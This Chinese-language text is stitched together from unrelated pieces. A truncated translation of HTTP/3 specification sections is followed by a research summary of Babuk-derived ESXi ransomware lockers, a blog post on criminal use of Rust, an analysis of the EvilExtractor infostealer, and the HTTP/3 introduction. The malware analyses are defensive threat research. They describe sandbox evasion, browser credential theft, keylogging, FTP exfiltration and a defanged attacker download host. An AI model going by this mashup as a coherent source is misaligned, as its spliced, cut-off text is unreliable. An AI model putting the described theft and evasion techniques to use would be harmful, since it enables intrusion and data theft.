服務器可以接受0-RTT並隨後在其SETTINGS幀中提供不同的設置。如果0-RTT數據被服務器接受，它的SETTINGS幀絕對不能減少任何限製或改變任何可能被客戶端與它的0-RTT數據違反的值。服務器必須包括與其默認值不同的所有設置。如果服務器接受0-RTT，但隨後發送的設置與之前指定的設置不兼容，則必須將其視為H3_SETTINGS_ERROR 類型的連接錯誤。如果服務器接受0-RTT 但隨後發送的SETTINGS 幀忽略了客戶端理解的設置值（除了保留的設置標識符），該設置值之前指定為具有非默認值，則必須將其視為連接錯誤輸入H3_SETTINGS_ERROR。 7.2.5 PUSH_PROMISEPUSH_PROMISE 幀（類型=0x05）用於在請求流中從服務器到客戶端攜帶承諾的請求標頭部分。 PUSH_PROMISE 幀 有效載荷包括： PUSHID：一個可變長度的整數，用於標識服務器推送操作。 Push ID用於push stream標頭和CANCEL_PUSH幀。 服務器絕對不能使用比客戶端提供的MAX_PUSH_ID幀大的Push ID。客戶端收到推送承諾幀時，如果推送承諾幀的ID大於客戶端發布的Push ID，則必須將其視為連接錯誤H3_ID_ERROR。 一個服務器可以在多個推送承諾幀中使用相同的Push ID。如果是這樣，解壓後的請求標頭集必須包含相同順序相同的字段，並且每個字段的名稱和值必須完全匹配。客戶端應該多次比較請求標頭部分以獲得承諾的資源。如果客戶端收到一個已經承諾的Push ID，並且檢測到不匹配，它必須響應一個H3_GENERAL_PROTOCOL_ERROR類型的連接錯誤。如果解壓後的字段部分完全匹配，客戶端應該將推送內容與每一個接收到推送承諾幀的流關聯起來。 允許重複引用相同的Push ID主要是為了減少並發請求造成的重複。服務器應該避免長時間重複使用Push ID。客戶端很可能使用服務器推送響應，而不保留它們以供重用。當客戶端看到一個推送承諾幀使用了一個他們已經使用並刪除的Push ID時，會被迫忽略這個承諾。 如果在控制流上接收到推送承諾幀，客戶端必須響應一個H3_FRAME_UNEXPECTED類型的連接錯誤。 客戶端不能發送PUSH_PROMISE幀。服務器必須將接收到的PUSH_PROMISE幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。 關於整個服務器推送機制的描述，請參見4.6節。 7.2.6 關閉GOAWAY幀(type=0x07)用於啟動HTTP/3連接的任意終端的安全關閉。 GOAWAY 允許終端停止接受新請求或推送，同時仍完成對先前接收到的請求和推送的處理。這將啟用管理操作，例如服務器維護。 GOAWAY 本身不會關閉連接。 GOAWAY幀 GOAWAY幀總是在控制流上發送。在服務器到客戶端的方向上，它攜帶客戶端發起的雙向流的QUIC 流ID，編碼為可變長度整數。客戶端必須將接收到包含任何其他類型的流ID 的GOAWAY 幀視為H3_ID_ERROR 類型的連接錯誤。 在客戶端到服務器的方向上，GOAWAY幀攜帶一個被編碼為變長整數的Push ID。 GOAWAY幀適用於整個連接，而不是特定的流。客戶端必須將控制流以外的流上的GOAWAY幀作為H3_FRAME_UNEXPECTED類型的連接錯誤處理。 關於GOAWAY幀的更多信息請參見5.2節。 7.2.7 MAX_PUSH_IDMAX_PUSH_ID幀(type=0x0d)被客戶端用來控制服務器可以發起的服務器推送的數量。這設置了服務器可以在PUSH_PROMISE和CANCEL_PUSH幀中使用的Push ID的最大值。因此，除了由QUIC傳輸維持的限制外，這也限制了服務器可以發起的push stream的數量。 MAX_PUSH_ID幀總是在控制流上發送。在任何其他流上接收到MAX_PUSH_ID幀必須作為H3_FRAME_UNEXPECTED類型的連接

博文摘要基於2021年洩露的Babuk源代碼，SentinelLabs發現了10個勒索軟件團伙使用VMware ESXi加密器（locker）。 這些變體出現在2022年下半年和2023年上半年，表明了Babuk源代碼採用率與日俱增的趨勢。 洩露的源代碼使威脅分子能夠攻擊Linux系統，他們原本缺乏構建切實可行的程序的專長。 隨著更多的威脅分子採用工具，源代碼洩露進一步加大了追根溯源的複雜性。 背景介紹在2023年初，SentinelLabs觀察到基於Babuk（又名Babak或Babyk）的VMware ESXi勒索軟件有所增加。 2021年9月的Babuk洩露事件為我們深入了解有組織的勒索軟件團伙的開發活動提供了大好機會。 由於ESXi在本地和混合企業網絡中很普遍，這種虛擬機管理程序是勒索軟件的重要目標。在過去的兩年裡，多個有組織的勒索軟件團伙採用了Linux加密器，包括ALPHV、Black Basta、Conti、Lockbit和REvil。相比其他Linux變體，這些團伙更關注ESXi，利用ESXi虛擬機管理程序的內置工具來終結訪客系統，然後加密關鍵的虛擬機管理程序文件。 我們發現洩露的Babuk源代碼和歸因於Conti和REvil的ESXi加密器之間存在重疊，後者的迭代版本彼此非常相似。我們還將它們與洩露的Conti Windows加密器源代碼進行了比較，發現了共同的定制函數名和功能特性。 除了這些臭名昭著的團伙外，我們還發現了使用Babuk源代碼生成更出名的ESXi加密器的小型勒索軟件團伙。從Babuk衍生而來的ESXi加密器陣營越來越龐大，包括Ransom House團伙的Mario和之前未記錄的ESXi版本的Play勒索軟件。 Babuk背景Babuk是ESXi勒索軟件領域的早期團伙之一。該團伙的壽命在2021年受到影響，當時Babuk的開發人員洩露了Babuk基於C++的Linux可執行和可鏈接格式（ELF）ESXi、基於Golang的網絡附加存儲（NAS）和基於C++的Windows勒索軟件工具的構建器源代碼。 直到2022年初，沒有太多跡象表明威脅分子改動了洩露的Babuk源代碼，除了曇花一現的“Babuk 2.0”變體和偶爾死灰復燃的新的Windows勒索軟件外。由於網絡犯罪研究常針對Windows，Linux領域的動向悄然出現。 SentinelLabs通過源代碼/6а6ак/esxi/enc/main.cpp中的字符串Doesn 't encrypted files: %d\n，發現了由Babuk派生而來的勒索軟件。 圖1. Babuk源代碼main.cpp中的獨特字符串 Babuk構建器為新生成的二進製文件指定文件名e_esxi.out。我們發現的幾個樣本都有類似的命名約定： 圖2 在加密方面，ESXi Babuk使用Sosemanuk流密碼的實現對目標文件進行加密，而Windows版本的Babuk使用HC-128加密。 ESXi和Windows Babuk都使用Curve25519-Donna來生成加密密鑰。 數代Babuk家族比較方法SentinelLabs整理出了未精簡的Babuk二進製文件，為Babuk的外觀和行為確立基準，此後稱之為“基準Babuk”（Baseline Babuk）。為了解我們發現的變體是否與Babuk有關，我們將每個變體與這個基準Babuk樣本進行了比較，凸顯了顯著的相似和差異之處。 Babuk 2023（.XVGV）SHA1：e8bb26f62983055cfb602aa39a89998e8f512466 XVGV又名Babuk 2023，於2023年3月出現在Bleeping Computer的論壇上。基準Babuk和XVGV共享了由main.cpp派生而來的代碼、來自args.cpp的參數處理函數和加密實現。 與Babuk一樣，XVGV要求勒索軟件團伙提供要加密的目錄作為參數。在動態分析過程中，我們提供了測試系統的用戶目錄。在第一次運行時，樣本在所有子目錄中生成了勒索信HowToRestore.txt。 然而只有6個文件被加密，每個文件的擴展名為.log或.gz。查看包含的文件擴展名可以發現為什麼破壞很有限：XVGV針對以VMware為中心的文件，排除那些與指定列表不匹配的文件。這是基準Babuk共有的行為，不過XVGV開發者添加了更多的文件擴展名。 圖3. XVGV.rodata部分引用文件擴展名（左）和Babuk源代碼對應部分 Play（.FinDom）SHA1：dc8b9bc46f1d23779d3835f2b3648c21f4cf6151 該文件引用文件擴展名.FinDom以及勒索電子郵件地址findomswitch@fastmail.pw，這些是與Play勒索軟件相關的工件。這是針對Linux系統構建的第一個已知版本的Play，這與勒索軟件團伙日益攻擊Linux的趨勢保持一致。 Play包含與基準Babuk相同的文件搜索功能；它還使用Sosemanuk實現加密。 圖4. 基準Babuk（左）和Play反彙編勒索信構造函數 Play二進製文件作為壓縮包（SHA1: 9290478cda302b9535702af3a1dada25818ad9ce）的一部分被提交到VirusTotal，壓縮包裡有多種黑客工具和實用程序，包括AnyDesk、NetCat、特權升級批處理文件和編碼的PowerShell Empire腳本，在獲得初始訪問權後它們與勒索軟件團伙採用的技術相關聯。 Mario（.emario）SHA1：048 b3942c715c6bff15c94cdc0bb4414dbab9e07 Mario勒索軟件由Ransom House運營，該團伙於2021年浮出水面。 Ransom House最初聲稱，他們以易受攻擊的網絡為目標，竊取數據，並不加密文件。然而該團伙此後採用了加密器。 樣本同樣有一個很相似的find_files_recursive函數，包括默認的勒索信文件名How To Restore Your Files.txt。加密函數也一樣。 冗長的勒索信內容是Mario ESXi加密器最獨特的部分。 Ransom House威脅分子向受害者提供了非常明確的指示，解釋應該做什麼、如何與他們聯繫。 圖5. Mario字符串顯示默認的Babuk日誌信息和勒索信 Conti POC（.conti）Conti POC—SHA1：091f4bddea8bf443bc8703730f15b21f7ccf00e9 Conti ESXi加密器SHA1：ee827023780964574f28c6ba333d800b73eae5c4 令我們驚訝的是，搜尋Babuk過程中發現了幾個內部名為“Conti POC”的二進製文件，POC的全稱可能是“概念驗證”，這些二進製文件出現在2022年9月針對墨西哥實體的一起活動中。 Conti是一個臭名昭著的勒索軟件團伙，組織嚴密、冷酷無情。洩露的信息顯示，Conti的組織體系更像許多合法公司，而不是犯罪團伙：該團伙僱傭了中層管理和人力資源部門。大約在2021年初，洩露的聊天記錄顯示，Conti在讓其ESXi加密器發揮功效時遇到了麻煩。 我們比較了Conti和Babuk的幾個迭代版本，以評估兩者的聯繫。 Conti ESXi於2022年4月問世，這可能意味著Conti在2021年9月Babuk代碼洩露後實現了該代碼，最終使加密器發揮功效。 Conti POC和Conti ESXi加密器：Conti POC不太成熟，這與“概念驗證”的名稱倒是一致。 Conti POC和Conti ESXi有許多相同的函數名和行為，包括相同的參數處理函數和條件。我們得出結論，這些樣本是相關的；Conti POC可能是Conti ESXi加密器的前身。 圖6. Conti ESXi（左）和Conti POC Babuk派生參數處理的橫向比較視圖 Conti POC 基準Babuk：Conti POC SearchFiles和基準Babuk find_files_recursive函數非常相似，含有相同的文件狀態變量名。 Conti將此函數的某些部分移植到了其他本地模塊，表明比基準Babuk更成熟。這兩個家族還有相似的主函數，表明兩者也有聯繫，Conti POC是更成熟的基準Babuk進化版。 圖7. 基準Babuk（左）中的find_files_recursive和Conti POC中的SearchFiles 對比Conti Windows洩露代碼：在Linux版本的Conti（POC和ESXi）與洩露的Windows Conti代碼之間，實用程序和函數名稱存在相當大的重疊。兩個版本都使用相同的開源ChaCha加密實現。洩露的Conti Windows代碼含有註釋掉的對HandleCommandLine的引用——這是我們分析的其他Conti變體中看到的一個函數，以及幾個需要解析的共享參數，比如prockiller。開發人員可能會在Windows版本與ESXi加密器之間對齊了函數名，以實現功能同等。 圖8. Conti ESXi（左）和Windows main.cpp HandleCommandLine函數 REvil，又名Revix（.rhkrc）RHKRC— SHA1：74e4b2f7abf9dbd376372c9b05b26b02c2872e4b 2021年6月Revix—SHA1：29f16c046a344e0d0adfea80d5d7958d6b6b8cfa 我們發現了一個內部名為RHKRC的類似Babuk的樣本，它將.rhkrc擴展名附加到文件名的末尾，這個行為與REvil團伙的“Revix”ESXi加密器相關聯。有意思的是，關於外頭Revix的報告可以追溯到2021年6月，早於2021年9月的Babuk源代碼洩露。 為了明白這在發展時間表中所在的位置，我們比較了相關活動的幾個迭代版本： RHKRC和Conti POC：這兩個版本異常相似，都通過上述的ChaCha20實現了加密。它們有一個幾乎相同的InitializeEncryptor函數。這些樣品是相關的。 圖9.來自RHKRC（左）和Conti POC的InitializeEncryptor函數 圖10.來自RHKRC（左）和Conti POC的EncryptFull函數 RHKRC和基準Babuk：這些樣本有許多相同的函數名，包括Babuk的原生線程池。然而，RHKRC實現加密的方式有所不同，它有更定制的ESXi CLI活動。我們認為這些樣本是相關的，不過RHKRC更成熟，儘管同樣處於“概念驗證”階段。 RHKRC和2021年6月Revix：我們比較了RHKRC和2021年6月活躍的Revix。 Revix要成熟得多，包含在分析的其他變體中未看到的動態代碼去混淆措施。 RHKRC和Revix都有相同的內部文件名（elf.exe）、勒索信名稱和附加的文件擴展名。然而，這些相似之處主要是表面上的，我們無法得出是否明確存在關聯的結論。關於這些巧合的任何說法都只是猜測。 榮譽提名SentinelLabs特別指出，還有另外幾個已知的家族由Babuk ESXi源代碼派生而來，包括： Cylance勒索軟件（與同名安全公司無關） Dataf加密器 Rorschach，又名BabLock Lock4 RTM加密器 雖然毫無疑問有更多的Babuk衍生變體未引起注意，但還有其他獨特的ESXi勒索軟件家族。粗略看一下ALPHV、BlackBasta、Hive和Lockbit的ESXi加密器，發現它們與Babuk沒有明顯的相似之處。 Babuk偶爾也會背黑鍋。坊間報導的2月份ESXiArgs活動曾短暫摧毀了一些未打補丁的雲服務，聲稱同名加密器由Babuk派生而來。然而我們分析後發現，ESXiArgs（SHA1： f25846f8cda8b0460e1db02ba6d3836ad3721f62）與Babuk幾乎沒有相似之處。唯一值得注意的相似之處是，使用相同的開源Sosemanuk加密實現。主函數完全不同，如下所示。 ESXiArgs還使用外部shell腳本來搜索文件，向esxcli提供參數，因此沒有原生的find_files_recursive函數可供比較。 圖11. ESXiArgs主函數 結論SentinelLabs的分析發現了ESXi勒索軟件家族之間的意外聯繫，揭示了Babuk與Conti和REvil等更出名的團伙之間可能存在的關係。雖然與REvil的關係仍是暫時的，但這些團伙（Babuk、Conti和REvil）有可能將ESXi加密器項目外包給了同一家開發商。在勒索軟件開髮圈，Linux惡意軟件開發商面臨的人才庫肯定要小得多，而勒索軟件開髮圈在開發高明的Windows惡意軟件方面一直擁有可圈可點的專長。勒索軟件團伙遭遇過無數次洩密，所以這些圈子中出現小規模洩露也在情理之中。此外，威脅分子可能共享代碼進行協作，類似開放開發項目的源代碼。 一個明顯的趨勢是，威脅分子日益使用Babuk構建器來開發ESXi和Linux勒索軟件。當由資源較少的威脅分子使用時，這一點尤為明顯，因為這些威脅分子不太可能大幅修改Babuk源代碼。 從Babuk的ESXi加密器代碼的流行程度來看，威脅分子也可能轉向該團伙基於Go的NAS加密器。對於許多威脅分子來說，Gang仍然是小眾的選擇，但其人氣在不斷提升。被盯上的NAS系統也基於Linux。雖然NAS加密器不那麼複雜，但代碼清晰易讀，這可能使熟悉Go或類似編程語言的開發人員更容易訪問勒索軟件。 攻陷指標 圖12

近些年來，Rust編程語言因諸多優點而越來越受歡迎，包括高級控制、內存安全性和靈活性等優點。然而，雖然這些特性使Rust成為開發人員手裡的一種強大工具，但也使其成為網絡犯罪分子眼裡的一種誘人語言。這篇博文將探討這種語言的陰暗面以及為什麼網絡犯罪分子日益將其用於惡意目的。 Rust這種系統編程語言旨在提供針對系統資源的低級控制，同時確保內存安全性。這使得它成為一種功能強大的語言，適用於開發需要對系統資源（比如操作系統、網絡協議和設備驅動程序）進行嚴加控制的高性能應用程序。 Rust編程語言的歷史Rust編程語言最初是在2010年由Mozilla引入的，當時只是Mozilla員工Graydon Hoare的個人項目。這種語言的初衷是創建一種有望提供比C和C++等現有語言更好的內存安全性和並發性的語言。其語法深受C和C++的影響，但也結合了其他編程語言的功能，比如Haskell和ML。 Rust的開發由貢獻者社區推動，並在2012年開放了源代碼。 Rust迅速流行起來，它在2016年、2017年和2018年的Stack Overflow開發者調查中均被列為人們偏愛使用的編程語言。它已被用於從網頁開發到遊戲開發的眾多項目，並已被微軟、谷歌和Dropbox之類的大公司採用。 Rust的成功可以歸因於專注於性能、安全性、並發性以及活躍的支持性社區。 Rust被用於惡意目的的例子Rust越來越多地被網絡犯罪分子用來開發眾多惡意應用程序。以下是基於Rust的攻擊的幾個例子： 1. 惡意軟件開發——Rust為網絡犯罪分子提供了開發惡意軟件的一種強大工具。 Rust的低級控制和內存安全特性使其成為開發隱秘且複雜的惡意軟件的理想語言，這些惡意軟件可以逃避傳統安全措施的檢測。 2. 殭屍網絡——網絡犯罪分子正在使用Rust開發殭屍網絡，殭屍網絡是由受攻擊計算機組成的網絡，可用於各種惡意目的，包括發送垃圾郵件、實施分佈式拒絕服務（DDoS）攻擊和挖掘加密貨幣。 Rust的高級控制和靈活性使其成為開發殭屍網絡的理想語言，這些殭屍網絡可以逃避安全措施的檢測。 3. 網絡釣魚攻擊——Rust可以用來開發複雜的網絡釣魚攻擊，可以誘騙用戶洩露其個人信息。 Rust的易用性和靈活性使其成為開發網絡釣魚工具的理想語言，這類工具可加以定制，以便攻擊特定的用戶和平台。 4. 加密貨幣挖掘攻擊——網絡犯罪分子使用Rust開發惡意軟件，從而劫持受害者的計算機來挖掘加密貨幣。 Rust的高級控制和內存安全特性使其成為開發隱秘且複雜的加密貨幣挖掘惡意軟件的理想語言。 5. 勒索軟件攻擊——Rust可用於開發複雜的勒索軟件攻擊，從而加密受害者的數據並要求支付贖金，以換取解鎖加密數據的密鑰。 Rust的低級控制和內存安全特性使得安全研究人員很難檢測和消除用Rust開發的勒索軟件攻擊。 哪些勒索軟件組織使用Rust？用Rust編寫的勒索軟件持續了整個2022年，2021年底出現的BlackCat組織就採用了這種惡意軟件。美國聯邦調查局（FBI）分析BlackCat後認為，該組織的高成功率歸因於他們使用用Rust編寫的勒索軟件種類。 BlackCat它也被稱為ALPHV，自從出現以來，SOCRadar已記錄的受害者有200多個。這是第一個用Rust開發的勒索軟件，也是攻擊次數最多的。 BlackCat使用RaaS模式。然而，為了在網絡犯罪市場中脫穎而出，他們改變了商業模式，對使用其版本進行的攻擊提供最高90%的獎勵。 Hive自2021年以來，基於RaaS的Hive勒索軟件一直在肆虐。在2022年，它們以第二種Rust惡意軟件的面目示人，在其洩露網站上披露了200多個受害者。 然而，Hive勒索軟件組織已備受關注。外國執法官員曾在2023年1月成功地端掉了至少兩個洩露網站。 Luna卡巴斯基的研究人員發現了Luna勒索軟件。勒索軟件組織面向在暗網上說俄語的加盟組織推廣Luna。該惡意軟件於2022年7月被確認是用Rust編寫的惡意軟件之一，可以感染所有Windows ESXi和Linux計算機。 Luna結合採用了x25519加密和AES加密，進一步加大了逆向工程的難度。 RansomwareExxRansomwareExx2變種是RansomwareExx家族的成員，於2022年最後幾個月被發現。這個惡意軟件再次證明了用其他語言編寫的變種具有的危險性，因為在最初檢測後的兩週，VirusTotal的結果都沒有將其識別為是有害的惡意軟件。 Agenda研究人員發現，在2022年最後一個月轉而採用Rust的組織是Agenda或Qilin組織。它們之前是用Go編寫的變種，針對每個受害者量身定制。該組織採用了RaaS模式，對許多國家和行業發動了勒索軟件攻擊。由Go改為Rust導致了逆向工程更具挑戰性，而且檢測率比Go變種更低。 網絡犯罪分子鍾情Rust編程語言的原因一種名為Rust的比較新的編程語言由於其速度、可靠性和內存安全特性而在開發人員中越來越受歡迎。然而，網絡犯罪分子也注意到了Rust在創建惡意軟件及其他惡意工具方面具有的潛力。 Rust的內存安全特性使得黑客很難利用內存漏洞，這是一種用於控制系統的常用策略。然而，同樣這項特性也使黑客更容易創建難以檢測和刪除的惡意軟件。 Rust的速度和性能使其成為開發可以快速跨網絡傳播並感染多個系統的惡意軟件的一種誘人的選擇。它還便於黑客創建更複雜的攻擊，規避傳統的安全措施。 Rust的開源特性及其不斷擴大的開發者社區也為網絡犯罪分子提供了輕鬆訪問代碼庫和資源的機會，這些代碼庫和資源可用於開發新的、更危險的攻擊。 雖然Rust本身並不是惡意的，但它的特性和日益流行使其成為網絡犯罪分子的重要工具。隨著開發人員繼續探究Rust的潛力，安全社區需要保持警惕，並開發新的策略來檢測和緩解基於Rust的攻擊。 Rust和網絡犯罪的未來Rust在開發人員當中越來越受歡迎，這意味著它也可能成為越來越受網絡犯罪分子歡迎的語言。隨著Rust越來越受歡迎，可以預料會出現更複雜更隱秘的基於Rust的攻擊。 然而，Rust的日益普及也意味著它可能會成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性，我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。 值得注意的是，Rust本身並不是天生就是惡意的。像任何編程語言一樣，它是一種工具，既可以用於正道，也可以用於歪道。 Rust開發人員有責任通過設計安全可靠的應用程序來防止被濫用。 結論Rust是一種功能強大的編程語言，越來越多地被網絡犯罪分子用於惡意目的。其高級控制、內存安全性和靈活性使其成為開發隱秘且複雜的惡意軟件、殭屍網絡、網絡釣魚攻擊、加密貨幣挖掘惡意軟件和勒索軟件攻擊的理想語言。 將Rust用於惡意目的給網絡安全專業人員帶來了幾個挑戰，包括Rust固有的安全特性、與安全工具的兼容性、檢測基於Rust的攻擊的難度，以及需要專門的技能和知識來防禦基於Rust的威脅。 然而，Rust的日益普及也意味著它很可能成為網絡安全專業人員的首選語言。隨著更多的網絡安全專業人員熟悉Rust及其特性，我們預計會看到開發出新的工具和技術來檢測和緩解基於Rust的威脅。

EvilExtractor（有時拼寫為Evil Extractor）是一種旨在針對Windows操作系統並從終端設備提取數據和文件的攻擊工具。它包括幾個通過FTP服務工作的模塊。它是由一家名為Kodex的公司開發的，該公司聲稱這是一款教育工具。然而，FortiGuard研究表明，攻擊者正在積極使用它作為信息竊取工具。 2023年3月，惡意活動顯著增加。 FortiGuard實驗室在3月30日的一次釣魚電子郵件活動中發現了這種惡意軟件。它通常偽裝成合法文件，如Adobe PDF或Dropbox文件，但一旦加載，它就開始利用PowerShell的惡意活動。它還包含環境檢查和反虛擬機功能。其主要目的似乎是從受攻擊的終端竊取瀏覽器數據和信息，然後將其上傳到攻擊者的FTP服務器。 研究人員最近審查了一個被注入受害者係統的惡意軟件版本，作為分析的一部分，我們發現大多數受害者位於歐洲和美國。開發商於2022年10月發布了其項目，並不斷更新以提高其穩定性並加強其模塊。 本文將研究用於EvilExtractor的初始攻擊方法及其功能。 EvilExtractor在網上出售 初始訪問帶有惡意附件的網絡釣魚電子郵件如下圖所示。它偽裝成一個帳戶確認請求。攻擊者還通過使用解壓文件的Adobe PDF圖標來欺騙受害者。 PE標頭如下圖所示。 釣魚郵件 “Account_Info.exe”的文件標頭 執行文件是由PyInstaller封裝的Python程序。我們用pyinstxtractor提取它，發現它的主代碼文件“contain.pyc”中的“PYARMOR”字符串，是Python腳本的混淆工具，使惡意軟件更難被分析和檢測。我們從_pytransform.dll中提取了密鑰和iv，並使用AES-GCM解密了“contain.pyc”。 ' include .pyc'中的代碼 除了Python程序之外，我們還觀察到了一個可以提取EvilExtractor的.NET加載程序。下圖是代碼的一部分。它包含Base64編碼的數據，該數據是PowerShell腳本。此執行文件由工具“PS2EXE-GUI”生成，該工具可以將PowerShell腳本轉換為EXE文件。 EvilExtractor的.Net代碼 EvilExtractor在解密pyc文件之後，我們得到了EvilExtractor的主代碼。它是一個PowerShell腳本，包含以下模塊： 日期時間檢查； 反沙盒； 反虛擬機； 反掃描器； FTP服務器設置； 竊取數據； 上傳被盜數據； 清除日誌。 它首先檢查系統日期是否在2022.11.9和2023.4.12之間。如果沒有，則使用以下命令刪除PSReadline中的數據並終止： 然後，它比較產品模型，看看它是否匹配以下任何一個：VirtualBox、VMWare、Hyper-V、Parallels、Oracle VM VirtualBox、Citrix Hypervisor、QEMU、KVM、Proxmox VE或Docker，如下圖所示。它還將受害者的主機名與來自VirusTotal設備或其他掃描儀/虛擬機的187個名稱進行檢查，如下圖所示。 EvilExtractor比較產品模型以進行匹配 虛擬環境和掃描器/虛擬機檢查 通過環境檢查後，EvilExtractor從http://193[.]42[.]33[.]232下載三個用於竊取數據的組件。這些文件也是使用PyArmor進行混淆處理的Python程序。第一個是“KK2023.zip”，用於竊取瀏覽器數據並將其保存在“IMP_Data”文件夾中。它可以從Google Chrome、Microsoft Edge、Opera和Firefox中提取cookie。它還從以下瀏覽器收集瀏覽器歷史記錄和密碼： 第二個文件是“Confirm.zip”。它是一個將數據保存在“KeyLogs”文件夾中的鍵盤記錄器。最後一個文件“MnMs.zip”是一個網絡攝像頭提取器。其對應的代碼如下圖所示。 下載Keylogger和Webcam Snapshot函數的組件 EvilExtractor還通過PowerShell腳本收集系統信息，如下圖所示。下圖顯示了一個名為“Credentials.txt”的文本文件中的連接數據。 用於收集系統信息的PowerShell腳本 “Credentials.txt”的內容 EvilExtractor從Desktop和Download文件夾下載具有特定擴展名的文件，包括jpg, png, jpeg, mp4, mpeg, mp3, avi, txt, rtf, xlsx, docx, pptx, pdf, rar, zip, 7z, csv, xml和html。它還使用命令“CopyFromScreen”來捕獲屏幕截圖，代碼如下圖所示。 下載文件並獲取截圖 EvilExtractor從受攻擊的終端提取所有數據後，將其上傳到攻擊者的FTP服務器，如下圖所示。 EvilExtractor的開發人員還為購買其惡意軟件的用戶提供了FTP服務器。 將文件上傳到攻擊者的FTP服務器 Kodex 勒索軟件EvilExtractor還具有勒索軟件功能，它被稱為“Kodex勒索軟件”，如下圖所示。我們從上一節提到的.net加載程序中提取了此PowerShell腳本，其勒索軟件的腳本與其竊取程序的腳本相似。 來自evilextracom[.]com的介紹 它從evidtextractor[.]com下載“zzyy.zip”。解壓後的文件（一個7-zip的獨立控制台）的詳細信息如下圖所示。下圖顯示了它利用“7za.exe”用參數“-p”加密文件，這意味著用密碼壓縮文件。它還生成一條保存在“KodexRansom”中的勒索消息。 “zzyy.zip”中的文件 Kodex勒索軟件的PowerShell腳本 勒索消息 總結EvilExtractor是一個多功能信息竊取程序，具有包括勒索軟件在內的多種惡意功能。它的PowerShell腳本可以在.NET加載程序或PyArmor中躲避檢測。在很短的時間內，它的開發人員已經更新了幾個功能，並提高了它的穩定性。本文介紹了攻擊者如何通過網絡釣魚郵件發起攻擊，以及利用哪些文件來提取EvilExtracrtor PowerShell腳本。本文還詳細介紹了EvilExtractor包括哪些功能，它可以收集哪些數據，以及Kodex勒索軟件的工作原理。用戶應該警惕這種新的信息竊取程序，並謹慎打開可疑郵件。 攻擊鏈

QUIC 傳輸協議具有HTTP 傳輸所需的幾個特性，例如stream multiplexing、每個流的流控制和低延遲連接建立。本文檔描述了HTTP 語義在QUIC 上的映射。本文還介紹了QUIC 包含的HTTP/2 功能，並描述瞭如何將HTTP/2 擴展移植到HTTP/3。 簡介HTTP語義([HTTP])在互聯網上廣泛應用於各種服務。這些語義最常用於HTTP/1.1和HTTP/2。 HTTP/1.1被用於各種傳輸和會話層，而HTTP/2主要用於TCP上的TLS。 HTTP/3在一個新的傳輸協議上支持相同的語義：QUIC。 1.1 HTTP的早期版本HTTP/1.1 ([HTTP/1.1])使用空格分隔的文本字段來傳遞HTTP消息。雖然這些交換是人類可讀的，但使用空格進行消息格式化會導致解析複雜性和對變體行為的過度容忍。 由於HTTP/1.1不包括多路復用層，因此通常使用多個TCP 連接來並行處理請求。然而，這對擁塞控制（congestion control）和網絡效率有負面影響，因為TCP 不跨多個連接共享擁塞控制。 HTTP/2 引入了一個二進制幀和多路復用層，在不修改傳輸層的情況下改善了延遲。然而，由於HTTP/2的多路復用的並行特性對TCP的丟失恢復機制是不可見的，因此丟失或重新排序的數據包會導致所有活動事務都經歷停頓，無論該事務是否直接受到丟失數據包的影響。 1.2 委託給QUICQUIC 傳輸協議結合了stream multiplexing和每個流的流控制，類似於HTTP/2幀層提供的。通過提供流級別的可靠性和整個連接的擁塞控制，與TCP映射相比，QUIC有能力提高HTTP的性能。 QUIC還在傳輸層合併了TLS 1.3 ([TLS])，提供了與在TCP上運行TLS相當的機密性和完整性，並改善了TCP快速打開([TFO])的連接設置延遲。 本文定義了HTTP/3：HTTP 語義在QUIC 傳輸協議上的映射，大量借鑒了HTTP/2 的設計。 HTTP/3 依賴於QUIC 來提供數據的機密性和完整性保護；對等認證；可靠、有序、按流交付。在將流生命週期和流控制問題委託給QUIC 時，每個流都使用類似於HTTP/2 幀的二進制幀。 QUIC 包含一些HTTP/2 功能，而其他功能則在QUIC 之上實現。 2.HTTP/3協議概述HTTP/3使用QUIC傳輸協議和類似於HTTP/2的內部幀層為HTTP語義提供了傳輸。 一旦客戶端知道某個終端存在HTTP/3 服務器，它就會打開一個QUIC 連接。 QUIC 提供協議協商、基於流的多路復用和流控制。 在每個流中，HTTP/3 通信的基本單位是一個幀。每種幀類型都有不同的用途。例如，HEADERS 和DATA 幀構成了HTTP 請求和響應的基礎）。適用於整個連接的幀在專用控制流上傳輸。 請求的多路復用是使用QUIC流抽象來執行的，這在[QUIC- transport]的第2節中描述。每個請求-響應對使用一個QUIC流。流之間是相互獨立的，所以一個流被阻止或丟失不會影響其他流的進程。 服務器推送是HTTP/2中引入的一種交互方案，它允許服務器在客戶端發出指定請求之前向客戶端推送一個請求-響應交換。這就權衡了網絡使用和潛在的延遲增益。一些HTTP/3幀被用來管理服務器推送，例如PUSH_PROMISE，MAX_PUSH_ID和CANCEL_PUSH。 與HTTP/2 一樣，請求和響應字段被壓縮以進行傳輸。因為HPACK ([HPACK]) 依賴於壓縮字段部分的順序傳輸（QUIC 不提供保證），所以HTTP/3 用QPACK ([QPACK]) 替換了HPACK。 QPACK 使用單獨的單向流來修改和跟踪字段表狀態，而編碼字段部分引用表的狀態而不修改它。 3.連接設置和管理3.1 發現HTTP/3終端HTTP依賴權威的概念響應：在給定目標資源在響應消息由源服務器發起（或在其方向）時的狀態的情況下，該響應已被確定為對該請求最合適的響應在目標URI 中標識。 “https”方案將授權與擁有證書相關聯，客戶端認為該證書對於由URI 的授權組件標識的主機是可信賴的。在TLS 握手中接收到服務器證書後，客戶端必須驗證證書是否與URI的源服務器匹配。如果證書無法針對URI 的源服務器進行驗證，則客戶端不得認為服務器對該源具有權威性。 客戶端可以嘗試通過將主機標識符解析為IP 地址來嘗試訪問具有“https”URI 的資源，在指定端口上建立到該地址的QUIC 連接（包括如上所述的服務器證書驗證），並通過該安全連接向服務器發送以URI為目標的HTTP/3請求消息。除非使用其他機制來選擇HTTP/3，否則在TLS 握手期間在應用層協議協商擴展中使用令牌“h3”。 連接問題(例如，阻止UDP)可能導致無法建立一個QUIC連接；在這種情況下，客戶端應該嘗試使用基於TCP 的HTTP 版本。 服務器可以在任何UDP 端口上提供HTTP/3；替代服務廣告始終包含明確地端口，並且URI 包含與方案關聯的明確地端口或默認端口。 3.1.1HTTP替代服務HTTP 源可以使用“h3”ALPN 令牌通過Alt-Svc HTTP 響應頭字段或HTTP/2 ALTSVC 幀([ALTSVC]) 通告等效HTTP/3 終端的可用性。 例如，在HTTP響應中，通過包含以下標頭字段，可以表明HTTP/3在UDP端口50781上相同主機名是可用的： Alt-Svc: h3=':50781' 